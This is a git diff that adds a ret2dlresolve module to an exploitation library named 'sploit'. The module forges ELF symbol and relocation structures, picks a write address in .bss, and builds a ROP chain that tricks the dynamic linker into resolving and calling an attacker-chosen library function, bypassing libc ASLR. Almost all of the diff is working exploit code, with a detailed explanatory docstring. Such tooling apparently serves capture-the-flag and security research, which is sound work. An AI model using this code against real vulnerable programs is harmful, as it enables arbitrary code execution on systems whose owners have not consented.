diff options
Diffstat (limited to '')
| -rw-r--r-- | sploit/payload/__init__.py | 1 | ||||
| -rw-r--r-- | sploit/payload/ret2dlresolve.py | 226 | 
2 files changed, 227 insertions, 0 deletions
| diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py index 69f8056..da47cc1 100644 --- a/sploit/payload/__init__.py +++ b/sploit/payload/__init__.py @@ -2,4 +2,5 @@ from .fmtstring import *  from .gadhint import *  from .payload import *  from .payload_entry import * +from .ret2dlresolve import *  from .rop import * diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py new file mode 100644 index 0000000..8862e22 --- /dev/null +++ b/sploit/payload/ret2dlresolve.py @@ -0,0 +1,226 @@ +""" +Perform "Return to dlresolve" dynamic linker attack + +The ret2dlresolve technique is useful to defeat library ASLR against targets +with partial relro (or less) and where no useable data leaks are available. +This is specifically a workaround for ASLR of libraries such as libc, and +addresses within the target executable are expected to be known (non-pic or +otherwise). + +When a dynamic library call is performed normally, applications jump to code +stubs in the .plt section to perform the actual relocation.  This process relies +on a couple of meta-data structures in the ELF object: + +Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to +cache the real subroutine address for later calls, as well as an info field +describing the relocation.  This info field contains a type subfield and an +index into the ELF's symbol table for the symbol to be relocated. + +Elf*_Sym: Contains all the data relevant to the symbol.  For the purposes of the +exploit, only the symbol name field is utilized (the others are set to zeroes). +The name field is an offset into the ELF's string table, and the actual symbol +name string can be found at this offset. + +All of the data tables mentioned above are located by their corresponding +section in the ELF.  The relocation process however does not perform any bounds +checks to ensure the runtime data structures actually come from these sections. +By forging custom structures, and ensuring they can be written into memory at +precise locations, an attacker can trick the resolver to link any library +function they desire by setting up the equivalent PLT function call via ROP. + +Read on for more background details: +http://phrack.org/issues/58/4.html +https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 + +Structure definitions from your standard elf.h header: + +typedef struct { +    Elf32_Word      st_name;        /* 4b Symbol name (string tbl index) */ +    Elf32_Addr      st_value;       /* 4b Symbol value */ +    Elf32_Word      st_size;        /* 4b Symbol size */ +    unsigned char   st_info;        /* 1b Symbol type and binding */ +    unsigned char   st_other;       /* 1b Symbol visibility */ +    Elf32_Section   st_shndx;       /* 2b Section index */ +} Elf32_Sym; + +typedef struct { +    Elf64_Word      st_name;        /* 4b Symbol name (string tbl index) */ +    unsigned char   st_info;        /* 1b Symbol type and binding */ +    unsigned char   st_other;       /* 1b Symbol visibility */ +    Elf64_Section   st_shndx;       /* 2b Section index */ +    Elf64_Addr      st_value;       /* 8b Symbol value */ +    Elf64_Xword     st_size;        /* 8b Symbol size */ +} Elf64_Sym; + +typedef struct { +    Elf32_Addr      r_offset;       /* 4b Address */ +    Elf32_Word      r_info;         /* 4b Relocation type and symbol index */ +} Elf32_Rel; + +typedef struct { +    Elf64_Addr      r_offset;       /* 8b Address */ +    Elf64_Xword     r_info;         /* 8b Relocation type and symbol index */ +} Elf64_Rel; + +Elf32_Rel.r_info = 0xAAAAAABB +                     |     | +                     |     type +                     symidx + +Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB +                     |       | +                     symidx  type +""" + +from sploit.arch import arch, itob +from sploit.payload.gadhint import GadHint +from sploit.payload.payload import Payload +from sploit.payload.payload_entry import padalign, padlen, pointer +from sploit.payload.rop import ROP +from sploit.rev.r2 import run_cmd + +_JMP_SLOT = 0x07 + +def _symsize(): +    # Size of Elf*_Sym, used for padding and indexing +    if arch.wordsize == 4: return 16 +    elif arch.wordsize == 8: return 24 +    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _relsize(): +    # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) +    if arch.wordsize == 4: return 1 +    elif arch.wordsize == 8: return 24 +    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _infoshift(): +    # Partition subfields of Elf*_Rel.r_info +    if arch.wordsize == 4: return 8 +    elif arch.wordsize == 8: return 32 +    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +class Ret2dlresolve(ROP): +    # Use constructor from ROP class + +    def reloc(self, symbol_name): +        """ +        Generate relocation structures for the function with given symbol name. + +        The returned data structures are packed into a single Payload object. +        This payload must be written into the target's memory before attempting +        to use it with Ret2dlresolve.call().  Furthermore, the chosen write +        location must be assigned to the payload base property, so that internal +        pointers may take on the appropriate values. + +        See Ret2dlresolve.determine_address() for advice on choosing a write +        location. + +        symbol_name (str): Name of library function to link +        """ +        binary = self.objects[0] +        symtab = binary.sym.sect['.dynsym'] +        strtab = binary.sym.sect['.dynstr'] + +        try: +            jmprel = binary.sym.sect['.rel.plt'] +        except KeyError: +            jmprel = binary.sym.sect['.rela.plt'] + +        # Elf*_Rel.r_info +        info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT + +        # The sym structure is the most picky about its location in memory.  So +        # it is listed first in the main dlres struct, which can be placed at +        # the desired location. +        sym = Payload() +        sym.name = pointer("symbol_string", lambda x: x - strtab) +        sym.pad = padlen(_symsize(), b"\x00") +        sym.symbol_string = symbol_name + +        dlres = Payload() +        dlres.symalign = padalign(_symsize(), reference=symtab) +        dlres.sym = sym +        dlres.relalign = padalign(_relsize(), reference=jmprel) +        dlres.offset = pointer() +        dlres.info = pointer("sym", info) +        return dlres + +    def determine_address(self, start=None, end=None, n=0): +        """ +        Determine recommended address for relocation structures. + +        There are a couple considerations to make when determining the memory +        locations.  First of all, the location must be writable.  More +        importantly, since most items are referred to by an array index, the +        structures themselves must be properly aligned, reference to the array +        origins. + +        The payload returned from Ret2dlresolve.reloc() has some of these +        alignments built in, but one crucial one is not.  The index implied by +        Elf*_Sym's offset from the symtab base is the same index used to lookup +        symbol version information, reference to versym.  The data at this index +        must constitute a valid version half-word (16-bits).  This function +        attempts to ensure that the coincident version info for any returned +        value is the data \x00\x00.  Getting this wrong can cause the dlresolve +        routine to crash. + +        start (int): Minimum address to recommend (default: .bss section address) +        end (int): Maximum address to recommend (default: end of memory page) +        n (int): Return the Nth useable address within the defined range +        """ +        binary = self.objects[0] +        symtab = binary.sym.sect['.dynsym'] +        versym = binary.sym.sect['.gnu.version'] +        bss = binary.sym.sect['.bss'] + +        if start is None: start = bss +        if end is None: end = (start & ~0xfff) + 0x1000 + +        zero_words = run_cmd(binary.path, "/x 0000") +        zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] + +        # Size of version entry is always 2 bytes. +        veroff = [ x - versym for x in zero_words ] +        idx = [ x//2 for x in veroff if x%2 == 0 ] +        symoff = [ x * _symsize() for x in idx ] +        addr = [ x + symtab for x in symoff ] +        addr = [ x for x in addr if start <= x < end ] + +        if len(addr) > n: +            return addr[n] + +        raise AssertionError("Ret2dlresolve: No suitable memory location") + +    # Overrides ROP.call() +    def call(self, reloc, *params): +        """ +        Return a ROP payload to call function via dynamic linker. + +        reloc's base address must be set appropriately. + +        reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() +        *params (int): Remaining positional args are passed to function. +        """ +        binary = self.objects[0] +        plt = binary.sym.sect['.plt'] + +        try: +            jmprel = binary.sym.sect['.rel.plt'] +        except KeyError: +            jmprel = binary.sym.sect['.rela.plt'] + +        register_params = dict(zip(arch.funcargs, params)) +        stack_params = params[len(register_params):] +        index = int(reloc.offset - jmprel) // _relsize() + +        reqs = GadHint(requirements=register_params) +        call = GadHint(index, stack=stack_params) +        ret = GadHint(self.search_gadget(arch.ret)) + +        chain = Payload() +        try: chain.requirements = self.gadget(reqs).requirements +        except KeyError: pass +        chain.alignment = padalign(0, itob(ret)) +        chain.plt = plt +        chain.call = self.gadget(call) +        return chain | 
